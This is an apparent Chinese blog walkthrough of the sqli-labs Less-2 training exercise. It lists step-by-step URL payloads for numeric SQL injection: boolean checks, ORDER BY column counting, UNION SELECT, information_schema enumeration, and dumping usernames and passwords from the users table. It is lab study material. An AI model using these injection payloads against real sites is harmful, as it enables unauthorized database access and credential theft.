sqli-labs less-2

最新推荐文章于 2021-07-05 09:24:16 发布

阿刁〇하

最新推荐文章于 2021-07-05 09:24:16 发布

阅读量143

点赞数

分类专栏： sqli-labs 文章标签： sql

本文链接：https://blog.csdn.net/weixin_52250313/article/details/115278314

版权

10 篇文章 0 订阅

订阅专栏

sqli=labs less-2

输入?id=1 回显正常

在这里插入图片描述

输入?id=1' 回显错误

在这里插入图片描述

输入?id=1 and 1=1 回显正常

输入?id=1 and 1=2 回显错误

说明存在整数型注入点

页面未报错，查询结果为空，表明存在注入点，and查询被直接代入到了原查询语句中，可以直接在后面进行联合查询
（PS：因为本关是数字型注入，没有引号/括号的包裹，所以注入点更容易被发现）

输入?id=1 order by 3 --+ 回显正常

输入?id=1 order by 4 --+ 回显错误

说明列数为3，有三个字段

使用联合查询

输入?id=-1 and 1=2 union  select 1,2,3 --+

在这里插入图片描述

由图可知，显示位在2和3上

接下来用database()和version()查询PHP版本和数据库名称

输入?id=-1 and 1=2 union select 1,database(),version() --+

在这里插入图片描述

由图可知，数据库名称为security，PHP版本为5.5.53

输入?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+

在这里插入图片描述

由图可知，security库下有4个表

输入?id=-1 union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+

在这里插入图片描述

输入?id=-1  union select 1,username,password from users where id = 1 --+

………………

?id=-1  union select 1,username,password from users where id = 12 --+

从1-12都有内容

在这里插入图片描述

即完成

关注